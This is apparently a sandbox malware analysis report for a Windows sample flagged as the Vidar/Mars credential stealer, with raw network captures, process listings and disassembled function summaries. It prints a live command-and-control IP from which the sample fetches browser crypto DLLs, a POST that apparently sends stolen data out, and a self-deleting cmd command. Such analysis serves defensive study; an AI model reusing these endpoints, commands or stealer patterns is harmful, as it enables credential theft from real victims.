Aug 24, 2024 11:01:57.612581968 CEST	672	IN	Data Raw: 31 c0 85 d2 74 03 8b 42 f8 c9 c3 55 89 e5 8b 45 08 83 c0 07 83 e0 f8 c9 c3 55 89 e5 31 c0 c9 c3 55 89 e5 c9 c3 55 89 e5 83 ec 18 89 c2 31 c0 83 3d 0c e0 96 60 00 74 09 89 14 24 ff 15 54 e0 96 60 c9 c3 55 89 e5 83 ec 08 8b 45 08 85 c0 74 08 a1 58 Data Ascii: 1tBUEU1UU1=`t$T`UEtX`UEt\`UEt``1UEtd`USs$E$1[U1U1UUU
Aug 24, 2024 11:01:57.612591982 CEST	1236	IN	Data Raw: 15 2c e0 96 60 89 c6 85 c0 74 22 89 04 24 e8 60 ff ff ff 89 c3 89 c2 31 c0 e8 d8 f7 ff ff ba 01 00 00 00 b8 09 00 00 00 e8 c9 f7 ff ff 8b 45 e4 89 30 89 d8 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 53 83 ec 24 8b 5d 08 8d 43 ff 3d fe fe ff 7f 76 09 c7 45 Data Ascii: ,`t"$`1E0,[^_US$]C=vE;=`t&`$KU`$d$,`EE$[US$`$8`t<9`\|44`U4`H8`&
Aug 24, 2024 11:01:57.612602949 CEST	224	IN	Data Raw: 3b 93 f8 00 00 00 7e 1c 89 93 f8 00 00 00 eb 14 89 14 24 e8 50 fb ff ff 85 c0 75 08 85 db 74 04 c6 43 40 01 83 c4 14 5b c9 c3 55 89 e5 53 83 ec 14 89 c3 8b 50 08 3b 50 04 74 17 80 78 18 01 75 09 8b 00 e8 bb fd ff ff eb 08 89 14 24 e8 1b fd ff ff Data Ascii: ;~$PutC@[USP;Ptxu$C[UVSA=vM8N`?Ctvtu[^USx1@v
Aug 24, 2024 11:01:57.612611055 CEST	1236	IN	Data Raw: 40 0f b6 08 81 e1 c0 00 00 00 83 c1 80 74 f1 42 8a 08 84 c9 74 04 39 d8 72 de 89 d0 5b c9 c3 55 89 e5 83 ec 10 dd 45 08 dd 5d f8 dd 45 f8 dd 5d f0 dd 45 f8 dd 45 f0 d9 c9 ba 01 00 00 00 da e9 df e0 9e 7a 06 0f 95 c2 0f b6 d2 89 d0 c9 c3 55 89 e5 Data Ascii: @tBt9r[UE]E]EEzU1t@8u)%?UWVStT't"[t`u9]s8M8u8T8uTGMLGC0Z[^_UWVSMUABt
Aug 24, 2024 11:01:57.612616062 CEST	1236	IN	Data Raw: 83 7d c4 01 74 23 89 7d cc 89 f7 89 5d b0 8b 5d d0 8b 75 d4 eb 51 4e 6b ca 0a 89 4d d0 b9 0a 00 00 00 f7 e1 03 55 d0 eb 06 8b 45 d0 8b 55 d4 85 f6 7e 5a 81 fa cc cc cc 0c 7c db 7f 50 3d cb cc cc cc 76 d2 eb 47 4f c7 44 24 08 0a 00 00 00 c7 44 24 Data Ascii: }t#}]]uQNkMUEU~Z\|P=vGOD$D$$t$D$D$$t$uEU]u}]}u]U]!wB4`Nu}mu]E5
Aug 24, 2024 11:01:57.612622023 CEST	1236	IN	Data Raw: ca 80 88 14 08 0f ac f3 07 c1 ee 07 49 83 f9 ff 75 eb be 09 00 00 00 eb 32 31 ff eb 02 89 f7 88 d3 83 cb 80 88 5c 3d ea 8d 77 01 0f ac ca 07 c1 e9 07 89 cb 09 d3 75 e5 80 65 ea 7f 89 fa 8a 4c 15 ea 88 08 4a 40 83 fa ff 75 f3 89 f0 83 c4 10 5b 5e Data Ascii: Iu21\=wueLJ@u[^_UuP1ZUWVSuB_XuB<HuB
Aug 24, 2024 11:01:57.612631083 CEST	672	IN	Data Raw: 83 e9 0a 83 e0 07 66 03 8c 00 e4 4e 97 60 89 c8 c9 c3 55 89 e5 56 53 89 c1 b8 01 00 00 00 31 d2 66 83 f9 09 0f 8e 8b 00 00 00 bb 0a 00 00 00 89 c8 89 ca 66 c1 fa 0f 66 f7 fb 89 c1 0f bf d2 89 d3 89 d6 c1 fe 1f 83 fe 00 77 05 83 fa 04 76 05 83 c3 Data Ascii: fN`UVS1fffwvtf~.f<B t1") t1[^UWVSp@@$8C>4$
Aug 24, 2024 11:01:57.613145113 CEST	1236	IN	Data Raw: 74 09 31 c0 80 7a 01 3a 0f 94 c0 c9 c3 55 89 e5 83 ec 18 8b 45 10 89 44 24 04 8b 45 0c 89 04 24 ff 15 a8 ec 96 60 52 52 c9 c3 55 89 e5 83 ec 18 8b 45 0c 89 04 24 ff 15 24 ec 96 60 51 c9 c3 55 89 e5 53 83 ec 24 8d 45 f0 89 04 24 ff 15 cc ec 96 60 Data Ascii: t1z:UED$E$`RRUE$$`QUS$E$`SE1M1D$'D$$T$01MQ1]U(ED$E$um5`UUVS1tstfJ;v]1\tO
Aug 24, 2024 11:01:59.493865013 CEST	122	OUT	GET /freebl3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:01:59.663316011 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:01:59 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "519d0-6200e4e818494" Accept-Ranges: bytes Content-Length: 334288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$/AVAVAVVAV]@WAV1VAV]BWAV]DWAV]EWAV@WAVO@WAV@VAVOBWAVOEWAVOAWAVOVAVOCWAVRichAVPELb["!f)ps@pP@xP0T@8.textt `.rdata@@.data,H@.rsrcx@@@.relocP@B
Aug 24, 2024 11:02:00.026582956 CEST	122	OUT	GET /mozglue.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:02:00.203319073 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:02:00 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "217d0-6200e4e840d08" Accept-Ranges: bytes Content-Length: 137168 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$U;;;;W;8;?;:;>;:;:w;?;>;;;;9;Rich;PEL_["!z@3@A@t, x0hTTh@l.textxz `.rdata^ef~@@.data@.didat8@.rsrcx @@.reloch0@B
Aug 24, 2024 11:02:00.315893888 CEST	123	OUT	GET /msvcp140.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:02:00.484847069 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:02:00 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "6b738-6200e4e857852" Accept-Ranges: bytes Content-Length: 440120 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AV5=A;";;;;;;-;RichPEL8'Y"!P az@ACR,x8?4:f8(@P@@.textr `.data( @.idata6P @@.didat4p6@.rsrc8@@.reloc4:<<@B
Aug 24, 2024 11:02:01.035166025 CEST	119	OUT	GET /nss3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:02:01.207076073 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:02:01 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "1303d0-6200e4e85fd23" Accept-Ranges: bytes Content-Length: 1246160 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#4gZgZgZnsZ[eZBcZYjZ_mZ^lZE[oZ[dZg[Z^mZZfZfZXfZRichgZPELb["!w@@=Tp}pT@.text `.rdataRT@@.datatG`"B@.rsrcpd@@.reloc}~h@B
Aug 24, 2024 11:02:02.115992069 CEST	123	OUT	GET /softokn3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:02:02.290821075 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:02:02 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "235d0-6200e4e86cc2d" Accept-Ranges: bytes Content-Length: 144848 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l$JOJOJOuOJO?oKNJO?oINJO?oONJO?oNNJOmKNJO-nKNJOKO~JO-nNNJO-nJNJO-nOJO-nHNJORichJOPELb["!bP@0x@`T(@l.text `.rdataDF@@.data @.rsrcx0@@.reloc`@@B
Aug 24, 2024 11:02:02.412794113 CEST	127	OUT	GET /vcruntime140.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:02:02.581938028 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:02:02 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "14748-6200e4e8856b7" Accept-Ranges: bytes Content-Length: 83784 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NEEE"GL^NElUVA_D2DDRichEPEL8'Y"! @@A H?08@.text `.dataD@.idata@@.rsrc @@.reloc0@B
Aug 24, 2024 11:02:02.917124033 CEST	231	OUT	POST /AP.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----SJMO89RQIEUAAASJ Host: 104.194.151.11 Content-Length: 81414 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:02:03.313175917 CEST	312	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:02:02 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	05:01:55
Start date:	24/08/2024
Path:	C:\Users\user\Desktop\BBiIn5gqhd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BBiIn5gqhd.exe"
Imagebase:	0x400000
File size:	70'144 bytes
MD5 hash:	311476E365E80B02B44B55DDCF5865C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_ArkeiStealer_84c7086a, Description: unknown, Source: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000000.00000002.2086398195.000000000068E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:02:02
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\BBiIn5gqhd.exe" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:02:02
Start date:	24/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:02:02
Start date:	24/08/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0x20000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	47.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	108
Total number of Limit Nodes:	10

Executed Functions

Function 00408920 Relevance: 45.9, APIs: 22, Strings: 4, Instructions: 394
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00408939
FindFirstFileA.KERNEL32(?,?), ref: 00408950
StrCmpCA.SHLWAPI(?,00414010), ref: 00408976
StrCmpCA.SHLWAPI(?,00414014), ref: 0040898C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408DC2
FindClose.KERNEL32(000000FF), ref: 00408DD7

Strings

%s\*, xrefs: 0040892D
%s\%s, xrefs: 004089A6
Network, xrefs: 004089D3
%s\%s\%s\%s, xrefs: 004089E3

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s\%s\%s$%s\*$Network
API String ID: 180737720-3203448731
Opcode ID: b66e412c41de65039fca4b0823f9f6f29a3a1fdf13d67999e964ced5294d757c
Instruction ID: 0afc8dedf4382b90de9e81d0051a9e705df5370ba1504ad14b1f5c1eb5465e4e
Opcode Fuzzy Hash: b66e412c41de65039fca4b0823f9f6f29a3a1fdf13d67999e964ced5294d757c
Instruction Fuzzy Hash: 7FE142B2500109ABCB14DF94DD85EEB73BDBF8C704F04865DB609A3140EA39EA95CFA5

Function 00406D50 Relevance: 43.8, APIs: 29, Instructions: 277
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406D7D
LoadLibraryA.KERNEL32(0069AD70), ref: 00406DEA

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: LibraryLoadVersion
String ID:
API String ID: 3209957514-0
Opcode ID: 95cd1e38752683a700a09a06881c4abe263167948859991d77e1124419e48a94
Instruction ID: 0ff97769c73b16c2272decdd88bcab4472715788f0676e030f843d39b22b5c89
Opcode Fuzzy Hash: 95cd1e38752683a700a09a06881c4abe263167948859991d77e1124419e48a94
Instruction Fuzzy Hash: 6BC161B1912318ABDB54DFA0DD48FDA77B9EB48700F1085A8F209A72D0C774AAD1CF59

Function 004052D0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004052FD
StrCmpCA.SHLWAPI(00000000,https://), ref: 00405323
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040535D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405383
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 004053A8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 004053E3
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0040540A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405457
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405473
StrCmpCA.SHLWAPI(?,200), ref: 00405489
Sleep.KERNEL32(00007530), ref: 004054A4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004054CC
lstrcat.KERNEL32(?,00000000), ref: 00405508
InternetCloseHandle.WININET(00000000), ref: 00405514
InternetCloseHandle.WININET(00000000), ref: 00405521
InternetCloseHandle.WININET(00000000), ref: 0040552E

Part of subcall function 00404960: memset.MSVCRT ref: 00404982
Part of subcall function 00404960: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 004049AE
Part of subcall function 00404960: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 004049D6

Strings

https://, xrefs: 0040531A
200, xrefs: 0040547D

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086278090.000000000042E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086308795.0000000000430000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086320722.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BBiIn5gqhd.jbxd

Yara matches

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$https://
API String ID: 3903783505-2276523601
Opcode ID: 4563890b83de306c4319a74dfbfbec33b3fae4b5bd82aca9576d0ab6b6b18f82
Instruction ID: edf12940620239b8531f8c9592ea19591be4febbf37c63759a870d9228517eeb
Opcode Fuzzy Hash: 4563890b83de306c4319a74dfbfbec33b3fae4b5bd82aca9576d0ab6b6b18f82
Instruction Fuzzy Hash: A2612D71A41319ABDB24DF50CC49FDA77B4EB44705F1084AAB209BA1C0C7B86AC4CF59

Function 00401280 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\*, xrefs: 0040128D
%s\%s, xrefs: 00401306, 00401357

Memory Dump Source

Source File: 00000000.00000002.2086278090.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2086146959.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
